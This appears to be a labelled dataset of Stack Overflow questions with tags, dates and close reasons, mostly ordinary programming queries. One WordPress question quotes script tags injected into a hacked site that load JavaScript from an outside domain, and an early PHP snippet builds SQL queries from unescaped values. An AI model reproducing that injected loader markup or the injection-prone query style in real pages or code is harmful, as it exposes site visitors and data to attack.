reload the div of same page in ajax === This is my code <div id="refresh" class="refresh" style="float:left;margin-left:2px;width:98%;"> <ol id="update" class="timeline"></ol> <?php //$post_id value comes from the POSTS table $sql=mysql_query("select * from sms order by ID desc"); while($row=mysql_fetch_array($sql)) { $id=$row['USERID']; $no=$row['ID']; $type=$row['CAT']; $sms=$row['SMS']; $title=$row['TITLE']; $sql1 = mysql_fetch_array(mysql_query("SELECT IMAGE FROM info WHERE ID='$id'")); $image ='data:image/jpeg;base64,'.base64_encode($sql1['IMAGE']); $delete="block"; ?> <table class="box" width="98%"> <tr><td> <img src="<?php echo $image; ?>" class="com_img"/><span class="shade"><span class="com_name"> <?php echo $title;?></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $type;?></span><img src="images/delete.png" style="float:right; display:<?php echo $delete;?>"/><br/><div style="float:left; margin-left:0px" class="shade-title" ><?php echo nl2br($sms); ?><br/><br/></div> <br/> <div id="<?php echo $no;?>" style="float:left;margin-right:2px;width:98%; display:<?php echo $delete;?>"> <input id="<?php echo $no;?>" type="button" value="Send To Mobile" style="float:right; width:120px" onClick="showoption(this)"/> </div> <div id="<?php echo "send".$no;?>" style="float:right;margin-right:2px;width:80%; display:none" > <input src="images/delete.png" id="<?php echo "send".$no;?>" type="image" title="Cancel" class="not" style="float:right; width:15px; height:10px;" onClick="hideoption(this)" /> <form method="post" id="<?php echo "frm".$no;?>" onSubmit="return sendsms(this)"> <input type="hidden" value="<?php echo $no;?>"/> <input type="hidden" id="msg" name="msg" value="<?php echo rawurlencode(nl2br($sms));?>" /> <input type="submit" value="Send" style="float:right; margin-right: 20px; width:80px"/> <input type="text" id='to' name="to" style=" width:150px; float:right; margin-right:10px" /> </form> </div> <br/> </td></tr> </table> <?php } ?> <div id="flash" align="left" ></div> </div> Now, i have used ajax to update the content... but, that, i have done by using other page.. means, i loading the other page on <div> , but i want to reload this content from same page, which reloading the div in some interval from the same page without refreshing whole page.. Any Idea...!!!
1
844,520
05/10/2009 01:51:26
2,648
08/23/2008 22:40:47
4,140
132
why aren't more people using Grails?
I've been learning Groovy & Grails recently, and in terms of developer productivity it seems to be light years ahead of other Java solutions (Spring, Struts, EJB, JSF). If I search monster.ca, for either Groovy or Grails, 0 matches are returned, which suggest Grails isn't doing too well in terms of adoption. I realise that: - Grails is relatively new and adoption takes time - Success of a technology depends on more than just it's technical merits (e.g. marketing $) - Search results on monster.ca are at best a very rough proxy for global adoption. It's possible that lots of people are using it, just not in Canada, or Canadian companies that are using it simply aren't hiring at the moment Are there other reasons why it hasn't been adopted to the extent it seems to "deserve"? Cheers, Don
grails
groovy
null
null
null
05/10/2009 02:02:55
not a real question
why aren't more people using Grails? === I've been learning Groovy & Grails recently, and in terms of developer productivity it seems to be light years ahead of other Java solutions (Spring, Struts, EJB, JSF). If I search monster.ca, for either Groovy or Grails, 0 matches are returned, which suggest Grails isn't doing too well in terms of adoption. I realise that: - Grails is relatively new and adoption takes time - Success of a technology depends on more than just it's technical merits (e.g. marketing $) - Search results on monster.ca are at best a very rough proxy for global adoption. It's possible that lots of people are using it, just not in Canada, or Canadian companies that are using it simply aren't hiring at the moment Are there other reasons why it hasn't been adopted to the extent it seems to "deserve"? Cheers, Don
1
7,463,150
09/18/2011 17:28:48
951,467
09/18/2011 17:23:09
1
0
Unable to start Spring Roo and get it working
I'm unable to start Spring Roo. It doesn't start from cmd line as well as from STS. When I create "Spring Roo Project" then Roo Shell doesn't pop up and there is error mark on the project. OS: Windows 7 64bit JDK: 1.6.0_25 also 64bit I've last version of STS but same problems occurred with 2.7.1 Roo version is 1.1.5 release. errors from command line start up are the following: http://pastebin.com/mE0sYrnb I have tried running .bat file from roo's bin folder as the administrator but it's the same problem. I've followed Installation guides and basically only path variable to roo\bin is needed - didn't help much. Do you have any idea how to fix that?
spring-roo
null
null
null
null
09/18/2011 20:04:58
off topic
Unable to start Spring Roo and get it working === I'm unable to start Spring Roo. It doesn't start from cmd line as well as from STS. When I create "Spring Roo Project" then Roo Shell doesn't pop up and there is error mark on the project. OS: Windows 7 64bit JDK: 1.6.0_25 also 64bit I've last version of STS but same problems occurred with 2.7.1 Roo version is 1.1.5 release. errors from command line start up are the following: http://pastebin.com/mE0sYrnb I have tried running .bat file from roo's bin folder as the administrator but it's the same problem. I've followed Installation guides and basically only path variable to roo\bin is needed - didn't help much. Do you have any idea how to fix that?
2
4,577,754
01/02/2011 08:42:16
500,451
11/08/2010 08:13:41
177
2
Hibernate : Opinions in Composite PK vs Surrogate PK
As i understand it, whenever i use @Id and @GeneratedValue on a Long field inside JPA/Hibernate entity, i'm actually using a surrogate key, and i think this is a very nice way to define a primary key considering my not-so-good experiences in using composite primary keys, where : 1. there are more than 1 business-value-columns combination that become a unique PK 2. the composite pk values get duplicated across the table details 3. cannot change the business value inside that composite PK I know hibernate can support both types of PK, but im left wondering by my previous chats with experienced colleagues where they said that composite PK is easier to deal with when doing complex SQL queries and stored procedure processes. They went on saying that when using surrogate keys will complicate things when doing joining and there are several condition when it's impossible to do some stuffs when using surrogate keys. Although im sorry i cant explain the detail here since i was not clear enough when they explain it. Maybe i'll put more details next time. Im currently trying to do a project, and want to try out surrogate keys, since it's not getting duplicated across tables, and we can change the business-column values. And when the need for some business value combination uniqueness, i can use something like : @Table(name="MY_TABLE", uniqueConstraints={ @UniqueConstraint(columnNames={"FIRST_NAME", "LAST_NAME"}) // name + lastName combination must be unique But im still in doubt because of the previous discussion about the composite key. Could you share your experiences in this matter ? Thank you !
database
hibernate
database-design
query
null
null
open
Hibernate : Opinions in Composite PK vs Surrogate PK === As i understand it, whenever i use @Id and @GeneratedValue on a Long field inside JPA/Hibernate entity, i'm actually using a surrogate key, and i think this is a very nice way to define a primary key considering my not-so-good experiences in using composite primary keys, where : 1. there are more than 1 business-value-columns combination that become a unique PK 2. the composite pk values get duplicated across the table details 3. cannot change the business value inside that composite PK I know hibernate can support both types of PK, but im left wondering by my previous chats with experienced colleagues where they said that composite PK is easier to deal with when doing complex SQL queries and stored procedure processes. They went on saying that when using surrogate keys will complicate things when doing joining and there are several condition when it's impossible to do some stuffs when using surrogate keys. Although im sorry i cant explain the detail here since i was not clear enough when they explain it. Maybe i'll put more details next time. Im currently trying to do a project, and want to try out surrogate keys, since it's not getting duplicated across tables, and we can change the business-column values. And when the need for some business value combination uniqueness, i can use something like : @Table(name="MY_TABLE", uniqueConstraints={ @UniqueConstraint(columnNames={"FIRST_NAME", "LAST_NAME"}) // name + lastName combination must be unique But im still in doubt because of the previous discussion about the composite key. Could you share your experiences in this matter ? Thank you !
0
6,208,718
06/01/2011 23:02:53
516,384
11/22/2010 16:45:25
80
4
Is there a book with overview of modern IT problems and solve methods?
There are Enterprise, Web, Computer Vision, Compilers, IDE ... and Java, MVC, OpenCV, LLVM ... Does a book exist where all topics are fully discovered?
software-engineering
null
null
null
null
06/02/2011 00:18:53
not a real question
Is there a book with overview of modern IT problems and solve methods? === There are Enterprise, Web, Computer Vision, Compilers, IDE ... and Java, MVC, OpenCV, LLVM ... Does a book exist where all topics are fully discovered?
1
5,865,460
05/03/2011 05:35:21
655,995
02/28/2011 02:13:21
28
0
modulus operator objective not working?
% operator isn;t working in objective. I am doing simple seconds to minute:second conversion. the modulus operator isn't working it is giving me error "Invalid operands to binary %" what does that mean and what can I do to fix this. thanks TC
c#
objective-c
c
iphone-sdk-4.0
null
05/03/2011 05:42:29
not a real question
modulus operator objective not working? === % operator isn;t working in objective. I am doing simple seconds to minute:second conversion. the modulus operator isn't working it is giving me error "Invalid operands to binary %" what does that mean and what can I do to fix this. thanks TC
1
9,315,381
02/16/2012 16:49:44
1,214,337
02/16/2012 16:45:12
1
0
Forcing LandScape orientation without using [[UIDevice currentDevice] setOrientation:UIInterfaceOrientationAnyOrientation]
This is my first post here! I have a weird problem I can't figure out how to solve it! My app supports any type of orientation (portrait, landscape ect..), but a new section (view) I designed, is useful only in landscape. So I have to force my new view to be loaded in landscape once I pressed a button or rotate the device orientation when this particular view is created. Using solve everything but I read on the web that using this API will lead your app to be rejected by Apple. Is it still true or I can use it? Having lots of views I used a UIViewController as "container", so I can handle them better. I wounder if using this may be a problem itself... I tried to rotate the view with a CGTransform and "lock" the rotation using a BOOL inside the view container, this solved the layout problem so the view is displayed correctly but when a textView becomes firsresponder the keyboard is showed in portrait mode. That's why the device orientation is still portrait. I also tried to work on the keyboard layout to display it correctly but nothing worked. Thank you for any help you'll provide me!
ios
xcode
apple
orientation
rejection
null
open
Forcing LandScape orientation without using [[UIDevice currentDevice] setOrientation:UIInterfaceOrientationAnyOrientation] === This is my first post here! I have a weird problem I can't figure out how to solve it! My app supports any type of orientation (portrait, landscape ect..), but a new section (view) I designed, is useful only in landscape. So I have to force my new view to be loaded in landscape once I pressed a button or rotate the device orientation when this particular view is created. Using solve everything but I read on the web that using this API will lead your app to be rejected by Apple. Is it still true or I can use it? Having lots of views I used a UIViewController as "container", so I can handle them better. I wounder if using this may be a problem itself... I tried to rotate the view with a CGTransform and "lock" the rotation using a BOOL inside the view container, this solved the layout problem so the view is displayed correctly but when a textView becomes firsresponder the keyboard is showed in portrait mode. That's why the device orientation is still portrait. I also tried to work on the keyboard layout to display it correctly but nothing worked. Thank you for any help you'll provide me!
0
6,925,176
08/03/2011 10:40:03
368,409
06/16/2010 15:35:52
84
7
'spaceless' equivalent of Django templates in Rails
Notice the readability and balance of: <li class='aclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"> <%= some other stuff %> </a> </li> which unfortunately produces trailing whitespace inside the link resulting in a ugly trailing underline. Now although less readable I can live with this: <li class='apossibleclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"><%= some other stuff %></a> </li> Still, the same problem remains if I now consider this kind of thing: li.apossibleclass:after { content: "/"; } as the whitespace between the closing A and LI gets in the way of what should be sticking to my list item's end. I could only produce that ugly mess as a workaround: <li class='apossibleclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"><%= some other stuff %></a></li> Django came up with a nice solution: [{% spaceless %}][1], so I'm looking for the equivalent of the [{% spaceless %}][1] tag in Rails erb templates. [1]: https://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs#spaceless
ruby-on-rails
templates
django-templates
equivalent
null
null
open
'spaceless' equivalent of Django templates in Rails === Notice the readability and balance of: <li class='aclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"> <%= some other stuff %> </a> </li> which unfortunately produces trailing whitespace inside the link resulting in a ugly trailing underline. Now although less readable I can live with this: <li class='apossibleclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"><%= some other stuff %></a> </li> Still, the same problem remains if I now consider this kind of thing: li.apossibleclass:after { content: "/"; } as the whitespace between the closing A and LI gets in the way of what should be sticking to my list item's end. I could only produce that ugly mess as a workaround: <li class='apossibleclass anotherclass <%= maybeaconditionalclass %>'> <a href="<%= some stuff %>"><%= some other stuff %></a></li> Django came up with a nice solution: [{% spaceless %}][1], so I'm looking for the equivalent of the [{% spaceless %}][1] tag in Rails erb templates. [1]: https://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs#spaceless
0
9,710,335
03/14/2012 21:11:30
1,209,229
02/14/2012 13:59:04
3
0
What to set MEDIA_ROOT and MEDIA_URL to when deploying django app on Heroku
I have deployed an app on Heroku using their free account. I have my js and css files inside a folder called 'media'. It looks like these are normally placed in 'static', but the project I was building on top of already had them in media so I just went with it. So I have: <link rel="stylesheet" type="text/css" media="screen" href="{{ MEDIA_URL }}css/style.css" /> And in my settings.py file, I have: abspath = lambda *p: os.path.abspath(os.path.join(*p)) PROJECT_ROOT = abspath(os.path.dirname(__file__)) MEDIA_ROOT = abspath(PROJECT_ROOT, 'media') MEDIA_URL = '/media/' After I deployed my app I set: DEBUG = False And now my templates are rendering without CSS. I searched around and it looks like an issue with MEDIA_ROOT and MEDIA_URL. Most of the stuff I'm finding is about getting static files to work in production, or about getting media files to work in development. This looks like getting media files to work in production. What exactly should I be setting MEDIA_ROOT and MEDIA_URL to?
python
django
heroku
null
null
null
open
What to set MEDIA_ROOT and MEDIA_URL to when deploying django app on Heroku === I have deployed an app on Heroku using their free account. I have my js and css files inside a folder called 'media'. It looks like these are normally placed in 'static', but the project I was building on top of already had them in media so I just went with it. So I have: <link rel="stylesheet" type="text/css" media="screen" href="{{ MEDIA_URL }}css/style.css" /> And in my settings.py file, I have: abspath = lambda *p: os.path.abspath(os.path.join(*p)) PROJECT_ROOT = abspath(os.path.dirname(__file__)) MEDIA_ROOT = abspath(PROJECT_ROOT, 'media') MEDIA_URL = '/media/' After I deployed my app I set: DEBUG = False And now my templates are rendering without CSS. I searched around and it looks like an issue with MEDIA_ROOT and MEDIA_URL. Most of the stuff I'm finding is about getting static files to work in production, or about getting media files to work in development. This looks like getting media files to work in production. What exactly should I be setting MEDIA_ROOT and MEDIA_URL to?
0
5,361,874
03/19/2011 11:51:17
533,677
12/07/2010 13:03:45
-1
0
HOW TO SOLVE OUT OF MEMORY ERROR ANDROID
Hai friends, what is the best solution to avoid OUTOFMEMORY Error when loading lots of bitmaps.plz help me
android
null
null
null
null
03/19/2011 12:13:33
not a real question
HOW TO SOLVE OUT OF MEMORY ERROR ANDROID === Hai friends, what is the best solution to avoid OUTOFMEMORY Error when loading lots of bitmaps.plz help me
1
8,518,221
12/15/2011 10:00:18
784,304
06/04/2011 21:53:27
52
1
Migrating a compiled application to a Web-based application
Recently I got a client that wanted to have new features and a different presentation of data from what was produced by a commercial product that runs in Windows. My initial assessment, for a web-based php/mysql application, may have underestimated the complexity of what was needed. The application serves as a Music catalog database for keeping track of one's music collection along with details about the album, the musicians in the band and etc. He has a 30,000 song collection that he has compiled over some time. There will need to be one component that allows for display and presentation of information from a database. I have skills in using Dreamweaver to create a php/mysql based display/presentation of data. So, this might save time with regard to coding. However, the second component requires that there be a music player and that various information be presented about the song currently playing, the name of the song, album, band, band members, etc. Perhaps, it is not too complicated. I would use the same php code that displays various albums/songs and instead just select one song from the database and give that as an argument to player and use then display additional information about the current song playing. Should I look for existing applications and see if they can be customized to use his existing database? I also may need to convert the MS Access DB to MySQL. I think I have found an application that will do that. I considered HTML5 and the ability to use local storage. I think that only one database is supported for that, which isn't necessarily a problem. Otherwise I need web hosting that would not mind storing 200GB (yes gigabytes) of mp3 based data (songs in mp3 format). Some hosting providers offer unlimited hosting but they probably expect that most folks won't use all that much. Has anyone done anything like this? I don't want to reinvent the wheel as it were if there are applications that do this. The only problem is with regard to how flexible they are in being able to import all the data fields that represent the information he has accumulated over the years. I cannot count on an existing application to have fields that exactly match the fields or data that he has been collecting. That's the challenge in deciding whether to completely customize this from scratch or use another application but somehow port his data into the new database. Any feedback is appreciated, Thanks, Bruce
php
mysql
html5
null
null
12/16/2011 14:42:39
not a real question
Migrating a compiled application to a Web-based application === Recently I got a client that wanted to have new features and a different presentation of data from what was produced by a commercial product that runs in Windows. My initial assessment, for a web-based php/mysql application, may have underestimated the complexity of what was needed. The application serves as a Music catalog database for keeping track of one's music collection along with details about the album, the musicians in the band and etc. He has a 30,000 song collection that he has compiled over some time. There will need to be one component that allows for display and presentation of information from a database. I have skills in using Dreamweaver to create a php/mysql based display/presentation of data. So, this might save time with regard to coding. However, the second component requires that there be a music player and that various information be presented about the song currently playing, the name of the song, album, band, band members, etc. Perhaps, it is not too complicated. I would use the same php code that displays various albums/songs and instead just select one song from the database and give that as an argument to player and use then display additional information about the current song playing. Should I look for existing applications and see if they can be customized to use his existing database? I also may need to convert the MS Access DB to MySQL. I think I have found an application that will do that. I considered HTML5 and the ability to use local storage. I think that only one database is supported for that, which isn't necessarily a problem. Otherwise I need web hosting that would not mind storing 200GB (yes gigabytes) of mp3 based data (songs in mp3 format). Some hosting providers offer unlimited hosting but they probably expect that most folks won't use all that much. Has anyone done anything like this? I don't want to reinvent the wheel as it were if there are applications that do this. The only problem is with regard to how flexible they are in being able to import all the data fields that represent the information he has accumulated over the years. I cannot count on an existing application to have fields that exactly match the fields or data that he has been collecting. That's the challenge in deciding whether to completely customize this from scratch or use another application but somehow port his data into the new database. Any feedback is appreciated, Thanks, Bruce
1
1,072,238
07/02/2009 03:02:33
76,456
03/11/2009 02:28:18
3,173
186
Are image file names important to SEO?
I'm about to refactor some content on our site to be more search friendly and it occurred to me that most of my image file names are relatively short to reduce the size of the <img /> tags in HTML and I wondered if that was the best approach. As search engines give a great deal of weight to the URL of my documents, should I give the same consideration to the file names of my images?
seo
null
null
null
null
06/25/2012 21:55:22
off topic
Are image file names important to SEO? === I'm about to refactor some content on our site to be more search friendly and it occurred to me that most of my image file names are relatively short to reduce the size of the <img /> tags in HTML and I wondered if that was the best approach. As search engines give a great deal of weight to the URL of my documents, should I give the same consideration to the file names of my images?
2
1,723,213
11/12/2009 15:49:43
202,106
11/03/2009 21:36:38
3
0
[iPhone] access Method from other class problem
I know this question was already ask several times but i don't get it. I have 2 classes classA.h & .m and classB.h and .m. In classA.h i've got a `UITextField *myTextfield`. In classB i import the header of classA and define the class with `@class classA`. I also set `classA *classa`. if i try to get the value of myTextfield like this myString = classA.myTextfield.text; nothing happens any suggestions what i'm doing wrong here? i would be so thankfull for an answer becaus without getting this done i can't continue coding :) thanks!
iphone
class
shared
null
null
null
open
[iPhone] access Method from other class problem === I know this question was already ask several times but i don't get it. I have 2 classes classA.h & .m and classB.h and .m. In classA.h i've got a `UITextField *myTextfield`. In classB i import the header of classA and define the class with `@class classA`. I also set `classA *classa`. if i try to get the value of myTextfield like this myString = classA.myTextfield.text; nothing happens any suggestions what i'm doing wrong here? i would be so thankfull for an answer becaus without getting this done i can't continue coding :) thanks!
0
9,258,392
02/13/2012 09:46:35
1,160,587
01/20/2012 12:13:35
1
0
MapView custom onTouch never called after zoom controls
I have set an OnTouch listener on a mapView that show a toast. Everything works great but if i put this code map.displayZoomControls(true); map.setBuiltInZoomControls(true); then the onTouch is never called.
android
zoom
android-mapview
ontouchlistener
null
null
open
MapView custom onTouch never called after zoom controls === I have set an OnTouch listener on a mapView that show a toast. Everything works great but if i put this code map.displayZoomControls(true); map.setBuiltInZoomControls(true); then the onTouch is never called.
0
2,917,813
05/27/2010 00:42:29
351,501
05/27/2010 00:42:29
1
0
Ul Li last element not aligning properly
I am having a problem where the last li element in a ul is pushing itself to the left further than the rest of all my pieces. Attached is a screen shot and my code. I have tried using the last-child element but it doesn't work in Safari or Chrome. #attending ul { display: inline; margin: 0 5px 0 0; padding-left: 0px; } #attending ul li { display: inline; list-style-image:none; padding: 5px; } #attending li:last-child { margin-right:-4px; } Suggestions? TIA, Chase http://desmond.yfrog.com/Himg338/scaled.php?tn=0&server=338&filename=screenshot20100526at808.jpg&xsize=640&ysize=640
css
null
null
null
null
null
open
Ul Li last element not aligning properly === I am having a problem where the last li element in a ul is pushing itself to the left further than the rest of all my pieces. Attached is a screen shot and my code. I have tried using the last-child element but it doesn't work in Safari or Chrome. #attending ul { display: inline; margin: 0 5px 0 0; padding-left: 0px; } #attending ul li { display: inline; list-style-image:none; padding: 5px; } #attending li:last-child { margin-right:-4px; } Suggestions? TIA, Chase http://desmond.yfrog.com/Himg338/scaled.php?tn=0&server=338&filename=screenshot20100526at808.jpg&xsize=640&ysize=640
0
10,270,874
04/22/2012 18:35:01
1,349,888
04/22/2012 18:18:45
1
0
How to cheaply connect many disks to a PC
What would be the cheapest way to connect 16-32 SATA drives to a sinigle computer? Under $150 or so? Is it posisble? I understand you can buy SAS controllers which will take SATA drives but they seem quite expensive ($250 - $1,000+). It seems you can also purchase SATA controllers with the ability to handle port multipliers (e.x. http://www.newegg.com/Product/Product.aspx?Item=N82E16816132031) (note: that one has 2 external eSATA ports, which isn't exactly what I want, but the internal vs external and eSATA vs SATA isn't an issue) But, once I have a SATA controller that supports port multipliers, where on earth do I get the port multipliers? Are they just a cable (I can't find any of those), or a card? Or what? Just trying to get the absolute bare minimum cheapest way to plug-in 24-32 drives at once and still get SOMEWHAT decent speed. I undestand FIS port mulpliers are "better" than command based, so that would be a plus. Mobo+cpu is a non-issue - I have a lot of old-but-not-ancient hardware available to me that supports a variety of PCI-* slots.
hardware
sas
harddrive
sata
null
04/23/2012 09:04:59
off topic
How to cheaply connect many disks to a PC === What would be the cheapest way to connect 16-32 SATA drives to a sinigle computer? Under $150 or so? Is it posisble? I understand you can buy SAS controllers which will take SATA drives but they seem quite expensive ($250 - $1,000+). It seems you can also purchase SATA controllers with the ability to handle port multipliers (e.x. http://www.newegg.com/Product/Product.aspx?Item=N82E16816132031) (note: that one has 2 external eSATA ports, which isn't exactly what I want, but the internal vs external and eSATA vs SATA isn't an issue) But, once I have a SATA controller that supports port multipliers, where on earth do I get the port multipliers? Are they just a cable (I can't find any of those), or a card? Or what? Just trying to get the absolute bare minimum cheapest way to plug-in 24-32 drives at once and still get SOMEWHAT decent speed. I undestand FIS port mulpliers are "better" than command based, so that would be a plus. Mobo+cpu is a non-issue - I have a lot of old-but-not-ancient hardware available to me that supports a variety of PCI-* slots.
2
9,976,007
04/02/2012 11:59:30
1,307,351
04/02/2012 06:25:52
1
0
with a set of sample values N,how to find the random sample values of random variable Z having pdf P(Z = 1) = p, P(Z = 0) = 1 – p, p = 0.3,
n=1000 x=rand(n,1) ( sample values N) this is my code for generating ran dom variables to be used in for the above question.
matlab
null
null
null
null
04/03/2012 18:48:22
not a real question
with a set of sample values N,how to find the random sample values of random variable Z having pdf P(Z = 1) = p, P(Z = 0) = 1 – p, p = 0.3, === n=1000 x=rand(n,1) ( sample values N) this is my code for generating ran dom variables to be used in for the above question.
1
10,024,119
04/05/2012 07:12:39
1,314,561
04/05/2012 06:57:09
1
0
evolving strategies for prisoners dilemma
can some help me in understanding pdf.i have understood what prisoners dilemma is but not able to understand the stimuli part and how the fitness is calculated .the pdf i am reffering to is http://www.cs.umd.edu/~golbeck/downloads/JGolbeck_prison.pdf
homework
genetic-algorithm
null
null
null
null
open
evolving strategies for prisoners dilemma === can some help me in understanding pdf.i have understood what prisoners dilemma is but not able to understand the stimuli part and how the fitness is calculated .the pdf i am reffering to is http://www.cs.umd.edu/~golbeck/downloads/JGolbeck_prison.pdf
0
6,291,132
06/09/2011 10:06:05
237,555
12/23/2009 11:55:10
442
11
How I can read an xml file with limited memory ?
var q = from n in XElement.Load(Application.StartupPath + "..\\..\\..\\2.xml").Elements() select n; foreach (var q0 in q) { string str = q0.ToString(); } the problem is my xml file is so big so how I can manage this code to load it gradually not completely. now I traced by c# it loads all file completely in "q" and then loads some big nodes in "str". I have limited memory and I need loading from file a little by little. I dont know how many nodes I have but I know general structure of file.
c#
null
null
null
null
null
open
How I can read an xml file with limited memory ? === var q = from n in XElement.Load(Application.StartupPath + "..\\..\\..\\2.xml").Elements() select n; foreach (var q0 in q) { string str = q0.ToString(); } the problem is my xml file is so big so how I can manage this code to load it gradually not completely. now I traced by c# it loads all file completely in "q" and then loads some big nodes in "str". I have limited memory and I need loading from file a little by little. I dont know how many nodes I have but I know general structure of file.
0
7,631,362
10/03/2011 05:35:13
870,424
07/30/2011 07:03:46
11
0
How external custom webservices configure with CakePHP
I careated my webservice as per requirement it's working (example webServ folder )but how to integrate this webservice in CakePHP.
cakephp
cakephp-1.3
cakephp-1.2
null
null
10/03/2011 20:28:10
not a real question
How external custom webservices configure with CakePHP === I careated my webservice as per requirement it's working (example webServ folder )but how to integrate this webservice in CakePHP.
1
2,991,218
06/07/2010 16:21:10
236,041
12/21/2009 13:54:34
20
1
Sybase PowerDesigner Change Many (Find/Replace/Convert) Data Item's Data Types
I have a relatively large Conceptual Data Model in PowerDesigner. After generating a Physical Data Model and seeing the DBMS data types, I need to update all of data types(NUMBER/TEXT) for each data item. I'd like to either do a find/replace within the Conceptual Data Model or somehow map to different data types when creating the Physical Data Model. Ex. Change the auto conversion of Text -> Clob, to Text -> NVARCHAR(20). Thanks!
database-design
sybase
powerdesigner
null
null
null
open
Sybase PowerDesigner Change Many (Find/Replace/Convert) Data Item's Data Types === I have a relatively large Conceptual Data Model in PowerDesigner. After generating a Physical Data Model and seeing the DBMS data types, I need to update all of data types(NUMBER/TEXT) for each data item. I'd like to either do a find/replace within the Conceptual Data Model or somehow map to different data types when creating the Physical Data Model. Ex. Change the auto conversion of Text -> Clob, to Text -> NVARCHAR(20). Thanks!
0
7,227,072
08/29/2011 07:01:32
917,190
08/29/2011 05:20:01
1
0
How to count string occurence in string in C++
Example I have inputted "he he she she she " output " he 2 she 3 "
c++
c
null
null
null
08/29/2011 07:24:30
not a real question
How to count string occurence in string in C++ === Example I have inputted "he he she she she " output " he 2 she 3 "
1
8,073,625
11/10/2011 00:26:37
494,343
11/02/2010 05:27:29
1,081
77
PLINQ vs. LINQ: OutOfMemoryException for LINQ but not PLINQ
This is an interesting one. First of all the setup: - 8GB RAM - Windows 7 Pro x64 - VS2010 Ultimate I have a memory intensive algorithm that crunches through data using LINQ/PLINQ. The initial implementation relied on PLINQ. A unit test succeeds. But remarkably while trying to see what kind of performance benefits I am getting from using PLINQ vs. LINQ, the same test fails with OutOfMemoryException when parallelism is disabled. Is there any reasonable explanation? I can consistently reproduce that. I didn't check but could I be running out not memory but some resources instead which are allocated differently depending on threading model? Ideas?
c#
.net
multithreading
linq
plinq
11/10/2011 06:34:03
not a real question
PLINQ vs. LINQ: OutOfMemoryException for LINQ but not PLINQ === This is an interesting one. First of all the setup: - 8GB RAM - Windows 7 Pro x64 - VS2010 Ultimate I have a memory intensive algorithm that crunches through data using LINQ/PLINQ. The initial implementation relied on PLINQ. A unit test succeeds. But remarkably while trying to see what kind of performance benefits I am getting from using PLINQ vs. LINQ, the same test fails with OutOfMemoryException when parallelism is disabled. Is there any reasonable explanation? I can consistently reproduce that. I didn't check but could I be running out not memory but some resources instead which are allocated differently depending on threading model? Ideas?
1
3,461,442
08/11/2010 18:06:08
100,240
05/03/2009 12:46:50
840
4
wordpress 3.0 security?
I have a website with wordpress 3.0. I noticed that /wp-admin displays the following error today. Warning: Cannot modify header information - headers already sent by (output started at /www/sites/..com/files/html/wp-includes/default-constants.php:299) in /www/sites/..com/files/html/wp-includes/pluggable.php on line 890 I used IE's view source. I found the following code. script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--> <script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--><script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--><br /> it looks like my website has been hacked. I enabled cforms plugin only. any ideas or suggestions?
security
wordpress
null
null
null
null
open
wordpress 3.0 security? === I have a website with wordpress 3.0. I noticed that /wp-admin displays the following error today. Warning: Cannot modify header information - headers already sent by (output started at /www/sites/..com/files/html/wp-includes/default-constants.php:299) in /www/sites/..com/files/html/wp-includes/pluggable.php on line 890 I used IE's view source. I found the following code. script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--> <script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--><script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script> <!--661c36e2c5591b25cbc164e7b376623b--><br /> it looks like my website has been hacked. I enabled cforms plugin only. any ideas or suggestions?
0
5,034,078
02/17/2011 20:15:35
622,054
02/17/2011 20:15:35
1
0
How can I write data from txt file to database?
If I have a txt with a certain number of rows and column (number of columns unknown at the beginning, columns are separated by " "), how can I export the data into the database? I have managed to iterate through the first row to count the number of columns and create a table accordingly but now I need to go through each row and insert the data into the respective column. How can I do that? Example of the txt file: Name Size Population GDP aa 2344 1234 12 bb 2121 3232 15 ... ... .. .. .. .. .. .. (CREATE TABLE random Name char(20), Size INT, Population INT, GDP INT has been done)
c++
database
file
postgresql
text-files
null
open
How can I write data from txt file to database? === If I have a txt with a certain number of rows and column (number of columns unknown at the beginning, columns are separated by " "), how can I export the data into the database? I have managed to iterate through the first row to count the number of columns and create a table accordingly but now I need to go through each row and insert the data into the respective column. How can I do that? Example of the txt file: Name Size Population GDP aa 2344 1234 12 bb 2121 3232 15 ... ... .. .. .. .. .. .. (CREATE TABLE random Name char(20), Size INT, Population INT, GDP INT has been done)
0
4,362,407
12/06/2010 01:11:00
531,628
12/06/2010 01:02:29
1
0
mobile software sql client
VS2008 designed with mobile software, sql client connects to servers using the SQL. SQL Server 2000 from SP3 to fasten down. 'm over this issue, but how can connect to SQL Server 2005 Express can not connect or I?
sql-server
sql-server-2005
compact-framework
null
null
07/11/2012 12:15:07
not a real question
mobile software sql client === VS2008 designed with mobile software, sql client connects to servers using the SQL. SQL Server 2000 from SP3 to fasten down. 'm over this issue, but how can connect to SQL Server 2005 Express can not connect or I?
1
11,528,098
07/17/2012 17:53:08
435,093
08/30/2010 15:12:01
2,706
87
How do I make my LESS variables available for all CSS files in Rails?
